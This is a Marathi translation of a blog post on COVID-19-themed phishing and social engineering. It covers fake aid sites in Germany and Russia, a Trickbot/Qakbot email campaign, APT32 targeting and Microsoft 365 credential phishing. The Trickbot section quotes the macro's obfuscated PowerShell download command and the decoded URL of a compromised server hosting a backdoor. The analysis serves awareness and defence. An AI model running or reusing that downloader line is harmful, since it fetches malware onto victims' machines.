कोरोनाव्हायरस सायबर हल्ले: संपूर्ण मुद्दा सोशल इंजिनिअरिंगमध्ये आहे

हल्लेखोर COVID-19 विषयाचा गैरफायदा घेत आहेत, ज्या वापरकर्त्यांना साथीच्या रोगाशी संबंधित प्रत्येक गोष्टीत उत्सुकता आहे त्यांच्यासाठी अधिकाधिक धोके निर्माण करतात. IN शेवटची पोस्ट कोरोनाव्हायरसच्या पार्श्वभूमीवर कोणत्या प्रकारचे मालवेअर दिसले याबद्दल आम्ही आधीच बोललो आहोत आणि आज आम्ही सोशल इंजिनिअरिंग तंत्रांबद्दल बोलू ज्याचा सामना रशियासह विविध देशांतील वापरकर्त्यांना झाला आहे. सामान्य ट्रेंड आणि उदाहरणे कट अंतर्गत आहेत.

मध्ये लक्षात ठेवा गेल्या वेळी आम्ही या वस्तुस्थितीबद्दल बोललो की लोक केवळ कोरोनाव्हायरस आणि साथीच्या रोगाबद्दलच नव्हे तर आर्थिक सहाय्य उपायांबद्दल देखील वाचण्यास इच्छुक आहेत? येथे एक चांगले उदाहरण आहे. नॉर्थ राइन-वेस्टफेलिया किंवा NRW या जर्मन राज्यात एक मनोरंजक फिशिंग हल्ला सापडला. हल्लेखोरांनी अर्थ मंत्रालयाच्या वेबसाइटच्या प्रती तयार केल्या (NRW आर्थिक व्यवहार मंत्रालय), जिथे कोणीही आर्थिक मदतीसाठी अर्ज करू शकतो. असा प्रोग्राम प्रत्यक्षात अस्तित्वात आहे आणि तो स्कॅमर्ससाठी फायदेशीर ठरला. त्यांच्या पीडितांचा वैयक्तिक डेटा प्राप्त झाल्यानंतर, त्यांनी वास्तविक मंत्रालयाच्या वेबसाइटवर अर्ज केला, परंतु इतर बँक तपशील सूचित केले. अधिकृत आकडेवारीनुसार, या योजनेचा शोध लागेपर्यंत अशा 4 हजार बनावट विनंत्या करण्यात आल्या होत्या. परिणामी, बाधित नागरिकांसाठी उद्दिष्ट असलेले $109 दशलक्ष फसवणूक करणाऱ्यांच्या हाती पडले.

तुम्हाला COVID-19 साठी मोफत चाचणी हवी आहे का?

कोरोनाव्हायरस-थीम फिशिंगचे आणखी एक लक्षणीय उदाहरण होते शोधले ईमेल मध्ये. संदेशांनी वापरकर्त्यांचे लक्ष वेधून घेतले ज्याने कोरोनाव्हायरस संसर्गासाठी विनामूल्य चाचणी घेण्याची ऑफर दिली. ह्यांच्या संलग्नीत अक्षरे Trickbot/Qakbot/Qbot ची उदाहरणे होती. आणि जेव्हा त्यांचे आरोग्य तपासू इच्छिणाऱ्यांनी "जोडलेला फॉर्म भरणे" सुरू केले तेव्हा संगणकावर एक दुर्भावनापूर्ण स्क्रिप्ट डाउनलोड केली गेली. आणि सँडबॉक्सिंग चाचणी टाळण्यासाठी, स्क्रिप्टने काही काळानंतरच मुख्य व्हायरस डाउनलोड करणे सुरू केले, जेव्हा संरक्षण प्रणालींना खात्री होती की कोणतीही दुर्भावनापूर्ण क्रियाकलाप होणार नाही.

मॅक्रो सक्षम करण्यासाठी बहुतेक वापरकर्त्यांना पटवणे देखील सोपे होते. हे करण्यासाठी, एक मानक युक्ती वापरली गेली: प्रश्नावली भरण्यासाठी, आपल्याला प्रथम मॅक्रो सक्षम करणे आवश्यक आहे, याचा अर्थ आपल्याला VBA स्क्रिप्ट चालवणे आवश्यक आहे.

जसे आपण पाहू शकता, VBA स्क्रिप्ट विशेषत: अँटीव्हायरसपासून मुखवटा घातलेली आहे.

विंडोजमध्ये प्रतीक्षा वैशिष्ट्य आहे जिथे अनुप्रयोग डीफॉल्ट "होय" उत्तर स्वीकारण्यापूर्वी /T <सेकंद> प्रतीक्षा करतो. आमच्या बाबतीत, स्क्रिप्टने तात्पुरत्या फाइल्स हटवण्यापूर्वी 65 सेकंद प्रतीक्षा केली:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

आणि वाट पाहत असताना मालवेअर डाउनलोड झाले. यासाठी एक विशेष पॉवरशेल स्क्रिप्ट लाँच करण्यात आली:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

बेस64 व्हॅल्यू डीकोड केल्यानंतर, पॉवरशेल स्क्रिप्ट जर्मनीच्या पूर्वी हॅक केलेल्या वेब सर्व्हरवर स्थित बॅकडोअर डाउनलोड करते:

http://automatischer-staubsauger.com/feature/777777.png

आणि नावाखाली जतन करते:

C:UsersPublictmpdirfile1.exe

फोल्डर ‘C:UsersPublictmpdir’ कमांड असलेली 'tmps1.bat' फाइल चालवताना हटवली जाते cmd /c mkdir ""C:UsersPublictmpdir"".

सरकारी संस्थांवर लक्ष्य करून हल्ला केला

याव्यतिरिक्त, FireEye विश्लेषकांनी अलीकडेच वुहानमधील सरकारी संरचना तसेच चिनी आपत्कालीन व्यवस्थापन मंत्रालयावर लक्ष्यित APT32 हल्ल्याचा अहवाल दिला. वितरित केलेल्या RTF पैकी एकामध्ये न्यूयॉर्क टाइम्सच्या लेखाची लिंक आहे कोरोनाव्हायरस लाइव्ह अपडेट्स: चीन हुबेईहून येणाऱ्या प्रवाशांचा मागोवा घेत आहे. तथापि, ते वाचल्यावर, मालवेअर डाउनलोड केले गेले (FireEye विश्लेषकांनी हे उदाहरण METALJACK म्हणून ओळखले).

विशेष म्हणजे, व्हायरसटोटलच्या म्हणण्यानुसार, शोधण्याच्या वेळी, कोणत्याही अँटीव्हायरसने ही घटना शोधली नाही.

जेव्हा अधिकृत वेबसाइट बंद असतात

फिशिंग हल्ल्याचे सर्वात उल्लेखनीय उदाहरण दुसऱ्याच दिवशी रशियामध्ये घडले. याचे कारण 3 ते 16 वर्षे वयोगटातील मुलांसाठी दीर्घ-प्रतीक्षित लाभाची नियुक्ती होती. जेव्हा 12 मे 2020 रोजी अर्ज स्वीकारण्यास सुरुवात झाली तेव्हा लाखो लोकांनी बहुप्रतिक्षित मदतीसाठी राज्य सेवा वेबसाइटवर धाव घेतली आणि पोर्टलला व्यावसायिक DDoS हल्ल्यापेक्षा वाईट वाटले नाही. जेव्हा अध्यक्ष म्हणाले की “सरकारी सेवा अर्जांच्या प्रवाहाचा सामना करू शकत नाहीत,” तेव्हा लोक अर्ज स्वीकारण्यासाठी पर्यायी साइट सुरू करण्याबद्दल ऑनलाइन बोलू लागले.

समस्या अशी आहे की अनेक साइट्स एकाच वेळी काम करू लागल्या, आणि एक, posobie16.gosuslugi.ru वरील खरी साइट, प्रत्यक्षात अनुप्रयोग स्वीकारते, अधिक डझनभर निर्दोष वापरकर्त्यांचा वैयक्तिक डेटा गोळा करतात.

SearchInform मधील सहकाऱ्यांना .ru झोनमध्ये सुमारे 30 नवीन फसवे डोमेन सापडले. इन्फोसेक्युरिटी आणि सॉफ्टलाइन कंपनीने एप्रिलच्या सुरुवातीपासून अशाच 70 हून अधिक बनावट सरकारी सेवा वेबसाइट्सचा मागोवा घेतला आहे. त्यांचे निर्माते परिचित चिन्हांमध्ये फेरफार करतात आणि gosuslugi, gosuslugi-16, vyplaty, covid-vyplaty, posobie इत्यादी शब्दांचे संयोजन देखील वापरतात.

हायप आणि सोशल इंजिनिअरिंग

ही सर्व उदाहरणे फक्त पुष्टी करतात की हल्लेखोर कोरोनाव्हायरसच्या विषयावर यशस्वीरित्या कमाई करत आहेत. आणि सामाजिक तणाव जितका जास्त आणि अस्पष्ट समस्या तितक्या जास्त, स्कॅमरना महत्त्वाचा डेटा चोरण्याची, लोकांना त्यांचे पैसे स्वतःहून सोडून देण्यास भाग पाडण्याची किंवा अधिक संगणक हॅक करण्याची शक्यता जास्त असते.

आणि साथीच्या रोगाने संभाव्य अप्रस्तुत लोकांना घरातून एकत्रितपणे काम करण्यास भाग पाडले आहे, केवळ वैयक्तिकच नाही तर कॉर्पोरेट डेटालाही धोका आहे. उदाहरणार्थ, अलीकडे Microsoft 365 (पूर्वीचे Office 365) वापरकर्ते देखील फिशिंग हल्ल्याच्या अधीन झाले. लोकांना पत्रांना संलग्नक म्हणून मोठ्या प्रमाणात "मिसड" व्हॉइस संदेश प्राप्त झाले. तथापि, फायली प्रत्यक्षात एक HTML पृष्ठ होते ज्याने हल्ल्यातील बळींना पाठवले होते बनावट Microsoft 365 साइन-इन पृष्ठ. परिणामी, खात्यातील सर्व डेटा प्रवेश गमावला आणि तडजोड झाली.

स्त्रोत: www.habr.com